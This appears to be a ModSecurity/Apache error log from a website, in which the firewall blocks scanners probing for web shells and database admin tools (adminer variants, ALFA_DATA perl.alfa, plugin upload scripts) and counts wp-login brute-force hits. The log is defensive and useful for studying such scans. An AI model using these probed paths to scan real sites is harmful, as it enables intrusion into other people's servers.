[Sun Dec 21 20:03:03.417293 2025] [:error] [pid 59070:tid 59149] [client 20.2.26.82:2027] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z.php"] [unique_id "aUfh933dhXne9KX1kgIl-wAAAJU"]
[Sun Dec 21 20:03:03.810528 2025] [:error] [pid 59068:tid 59107] [client 20.2.26.82:2028] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z.php"] [unique_id "aUfh9xmLyLqWUlrjwydvigAAAEY"]
[Sun Dec 21 20:03:04.135286 2025] [:error] [pid 59158:tid 59183] [client 20.2.26.82:1612] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z.php"] [unique_id "aUfh-I7NvyNF8ab5VgUfSwAAANc"]
[Sun Dec 21 20:03:04.464499 2025] [:error] [pid 59068:tid 59114] [client 20.2.26.82:1988] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aUfh-BmLyLqWUlrjwydvjgAAAE0"]
[Sun Dec 21 20:03:04.761906 2025] [:error] [pid 59158:tid 59168] [client 20.2.26.82:1689] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aUfh-I7NvyNF8ab5VgUfTAAAAMg"]
[Sun Dec 21 20:03:05.145012 2025] [:error] [pid 59068:tid 59102] [client 20.2.26.82:1987] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aUfh-RmLyLqWUlrjwydvjwAAAEE"]
[Sun Dec 21 20:03:05.493617 2025] [:error] [pid 59068:tid 59112] [client 20.2.26.82:16469] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aUfh-RmLyLqWUlrjwydvkAAAAEs"]
[Sun Dec 21 20:03:05.905306 2025] [:error] [pid 59070:tid 59148] [client 20.2.26.82:16458] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxz.php"] [unique_id "aUfh-X3dhXne9KX1kgIl_wAAAJQ"]
[Sun Dec 21 20:03:06.286765 2025] [:error] [pid 59158:tid 59160] [client 20.2.26.82:1654] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxz.php"] [unique_id "aUfh-o7NvyNF8ab5VgUfUAAAAMA"]
[Sun Dec 21 20:03:06.768129 2025] [:error] [pid 59158:tid 59173] [client 20.2.26.82:1441] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxz.php"] [unique_id "aUfh-o7NvyNF8ab5VgUfUgAAAM0"]
[Sun Dec 21 20:03:07.097609 2025] [:error] [pid 59158:tid 59167] [client 20.2.26.82:16511] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxz.php"] [unique_id "aUfh-47NvyNF8ab5VgUfVgAAAMc"]
[Sun Dec 21 23:20:29.255329 2025] [:error] [pid 65237:tid 65251] [client 74.225.156.134:41008] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-3.2.2.php"] [unique_id "aUgQPVVJYjxIpnUJfgJtNQAAAYw"]
[Sun Dec 21 23:20:31.450600 2025] [:error] [pid 42755:tid 42762] [client 74.225.156.134:45852] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-3.2.2.php"] [unique_id "aUgQP-W0XvxgXMTJJbsGRwAAAUU"]
[Sun Dec 21 23:20:32.421204 2025] [:error] [pid 59067:tid 59080] [client 74.225.156.134:41802] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-3.2.2.php"] [unique_id "aUgQQMtpsOP1NfIK_qKSpgAAAAY"]
[Sun Dec 21 23:20:37.338012 2025] [:error] [pid 59070:tid 59142] [client 74.225.156.134:40940] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-3.2.2.php"] [unique_id "aUgQRX3dhXne9KX1kgKBjAAAAI4"]
[Sun Dec 21 23:20:50.822189 2025] [:error] [pid 42755:tid 42759] [client 74.225.156.134:43787] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-3.2.1.php"] [unique_id "aUgQUuW0XvxgXMTJJbsGVgAAAUI"]
[Sun Dec 21 23:20:57.280898 2025] [:error] [pid 59070:tid 59139] [client 74.225.156.134:43505] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-3.2.0.php"] [unique_id "aUgQWX3dhXne9KX1kgKBnwAAAIs"]
[Sun Dec 21 23:21:00.917905 2025] [:error] [pid 42755:tid 42774] [client 74.225.156.134:43352] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-3.2.0.php"] [unique_id "aUgQXOW0XvxgXMTJJbsGXwAAAVE"]
[Sun Dec 21 23:21:04.112385 2025] [:error] [pid 59070:tid 59128] [client 74.225.156.134:43512] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-3.2.0.php"] [unique_id "aUgQYH3dhXne9KX1kgKBpAAAAIA"]
[Sun Dec 21 23:21:12.227126 2025] [:error] [pid 59068:tid 59121] [client 74.225.156.134:40022] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-4.3.1-en.php"] [unique_id "aUgQaBmLyLqWUlrjwye-KQAAAFQ"]
[Sun Dec 21 23:21:13.683800 2025] [:error] [pid 59067:tid 59086] [client 74.225.156.134:41196] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-4.3.1-en.php"] [unique_id "aUgQactpsOP1NfIK_qKSuwAAAAw"]
[Sun Dec 21 23:21:19.078189 2025] [:error] [pid 65237:tid 65253] [client 74.225.156.134:43384] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-4.3.1-en.php"] [unique_id "aUgQb1VJYjxIpnUJfgJtTwAAAY4"]
[Sun Dec 21 23:21:21.569069 2025] [:error] [pid 30183:tid 30189] [client 74.225.156.134:40057] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-4.3.1-en.php"] [unique_id "aUgQceCmP2zCzk_WZcU82AAAAQQ"]
[Sun Dec 21 23:21:22.231998 2025] [:error] [pid 30183:tid 30196] [client 74.225.156.134:40044] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-3.1.0.php"] [unique_id "aUgQcuCmP2zCzk_WZcU82gAAAQs"]
[Sun Dec 21 23:22:44.154189 2025] [:error] [pid 65237:tid 65253] [client 74.225.156.134:43479] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-4.7.2-en.php"] [unique_id "aUgQxFVJYjxIpnUJfgJt8QAAAY4"]
[Sun Dec 21 23:22:47.516147 2025] [:error] [pid 59067:tid 59095] [client 74.225.156.134:40061] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-4.7.2-en.php"] [unique_id "aUgQx8tpsOP1NfIK_qKTCwAAABU"]
[Sun Dec 21 23:22:50.802915 2025] [:error] [pid 30183:tid 30193] [client 74.225.156.134:40779] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-4.7.2-en.php"] [unique_id "aUgQyuCmP2zCzk_WZcU9RgAAAQg"]
[Sun Dec 21 23:22:53.281364 2025] [:error] [pid 59070:tid 59146] [client 74.225.156.134:40826] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-4.7.2-en.php"] [unique_id "aUgQzX3dhXne9KX1kgKCKgAAAJI"]
[Sun Dec 21 23:22:55.520957 2025] [:error] [pid 59158:tid 59161] [client 74.225.156.134:41174] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/phpminiadmin.php"] [unique_id "aUgQz47NvyNF8ab5VgV7SgAAAME"]
[Sun Dec 21 23:22:58.439083 2025] [:error] [pid 59067:tid 59086] [client 74.225.156.134:42052] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/phpminiadmin.php"] [unique_id "aUgQ0stpsOP1NfIK_qKTFQAAAAw"]
[Sun Dec 21 23:23:01.980156 2025] [:error] [pid 65237:tid 65245] [client 74.225.156.134:40014] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/phpminiadmin.php"] [unique_id "aUgQ1VVJYjxIpnUJfgJuBwAAAYY"]
[Sun Dec 21 23:23:06.319839 2025] [:error] [pid 59070:tid 59134] [client 74.225.156.134:40060] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/phpminiadmin.php"] [unique_id "aUgQ2n3dhXne9KX1kgKCTAAAAIY"]
[Sun Dec 21 23:23:18.319821 2025] [:error] [pid 59070:tid 59144] [client 74.225.156.134:40804] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/raiz0.php"] [unique_id "aUgQ5n3dhXne9KX1kgKCXgAAAJA"]
[Sun Dec 21 23:23:30.759033 2025] [:error] [pid 42755:tid 42758] [client 74.225.156.134:40352] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mudxizxnc.php"] [unique_id "aUgQ8uW0XvxgXMTJJbsHIAAAAUE"]
[Sun Dec 21 23:23:34.366060 2025] [:error] [pid 65237:tid 65240] [client 74.225.156.134:42100] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mudxizxnc.php"] [unique_id "aUgQ9lVJYjxIpnUJfgJuLQAAAYE"]
[Sun Dec 21 23:23:35.726893 2025] [:error] [pid 59067:tid 59096] [client 74.225.156.134:40031] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mudxizxnc.php"] [unique_id "aUgQ98tpsOP1NfIK_qKTLgAAABY"]
[Sun Dec 21 23:23:36.549399 2025] [:error] [pid 59158:tid 59163] [client 74.225.156.134:41208] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mudxizxnc.php"] [unique_id "aUgQ-I7NvyNF8ab5VgV7hAAAAMM"]
[Sun Dec 21 23:24:09.416885 2025] [:error] [pid 59158:tid 59166] [client 74.225.156.134:53589] [client 74.225.156.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.225.156.134, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUgRGY7NvyNF8ab5VgV7zAAAAMY"]
[Sun Dec 21 23:24:45.831663 2025] [:error] [pid 65237:tid 65243] [client 74.225.156.134:42099] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sell.php"] [unique_id "aUgRPVVJYjxIpnUJfgJudgAAAYQ"]
[Sun Dec 21 23:24:48.323761 2025] [:error] [pid 42755:tid 42773] [client 74.225.156.134:41001] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sell.php"] [unique_id "aUgRQOW0XvxgXMTJJbsHeQAAAVA"]
[Sun Dec 21 23:24:50.189676 2025] [:error] [pid 59070:tid 59141] [client 74.225.156.134:1770] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sell.php"] [unique_id "aUgRQn3dhXne9KX1kgKDFAAAAI0"]
[Sun Dec 21 23:24:51.517303 2025] [:error] [pid 59070:tid 59149] [client 74.225.156.134:1732] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sell.php"] [unique_id "aUgRQ33dhXne9KX1kgKDGwAAAJU"]
[Sun Dec 21 23:24:58.106807 2025] [:error] [pid 59068:tid 59116] [client 74.225.156.134:40329] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-4.3.0-mysql.php"] [unique_id "aUgRShmLyLqWUlrjwye_awAAAE8"]
[Sun Dec 21 23:25:02.535863 2025] [:error] [pid 59068:tid 59121] [client 74.225.156.134:35531] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-4.3.0-mysql.php"] [unique_id "aUgRThmLyLqWUlrjwye_cgAAAFQ"]
[Sun Dec 21 23:25:13.161760 2025] [:error] [pid 30183:tid 30202] [client 74.225.156.134:41325] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-4.3.1-mysql.php"] [unique_id "aUgRWeCmP2zCzk_WZcU9yAAAARE"]
[Sun Dec 21 23:25:25.990996 2025] [:error] [pid 59068:tid 59114] [client 74.225.156.134:44608] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-4.4.0-mysql.php"] [unique_id "aUgRZRmLyLqWUlrjwye_qgAAAE0"]
[Sun Dec 21 23:25:29.086281 2025] [:error] [pid 65237:tid 65249] [client 74.225.156.134:42466] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-4.4.0-mysql.php"] [unique_id "aUgRaVVJYjxIpnUJfgJu8QAAAYo"]
[Sun Dec 21 23:25:35.291910 2025] [:error] [pid 30183:tid 30204] [client 74.225.156.134:44428] [client 74.225.156.134] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-4.4.0-mysql.php"] [unique_id "aUgRb-CmP2zCzk_WZcU94AAAARM"]
[Mon Dec 22 06:08:52.885783 2025] [:error] [pid 33643:tid 33659] [client 106.119.167.146:43278] [client 106.119.167.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUhv9EoNwyN4xVhAvNN-3AAAAo0"]
[Mon Dec 22 06:55:29.200100 2025] [:error] [pid 33564:tid 33567] [client 170.106.187.106:42550] [client 170.106.187.106] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUh64QSHeG6oLmMnKY64tQAAAgA"]
[Mon Dec 22 07:37:41.867869 2025] [:error] [pid 33440:tid 33454] [client 52.13.171.147:61986] [client 52.13.171.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUiExZOsUWKqgxu6QTR34gAAAQw"]
[Mon Dec 22 07:37:42.639863 2025] [:error] [pid 58078:tid 58095] [client 52.13.171.147:64488] [client 52.13.171.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aUiExpWKg9Bf8njHlB6CCQAAAAw"]
[Mon Dec 22 10:20:15.301625 2025] [:error] [pid 58078:tid 58104] [client 2.58.56.27:55122] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq35WKg9Bf8njHlB6l8QAAABU"], referer: www.google.com
[Mon Dec 22 10:20:15.323743 2025] [:error] [pid 33643:tid 33650] [client 2.58.56.27:55120] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUiq30oNwyN4xVhAvNOm6gAAAoQ"]
[Mon Dec 22 10:20:15.327750 2025] [:error] [pid 58172:tid 58188] [client 2.58.56.27:55119] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "aUiq3-SVKDT5jWOcnSUlZgAAAM4"]
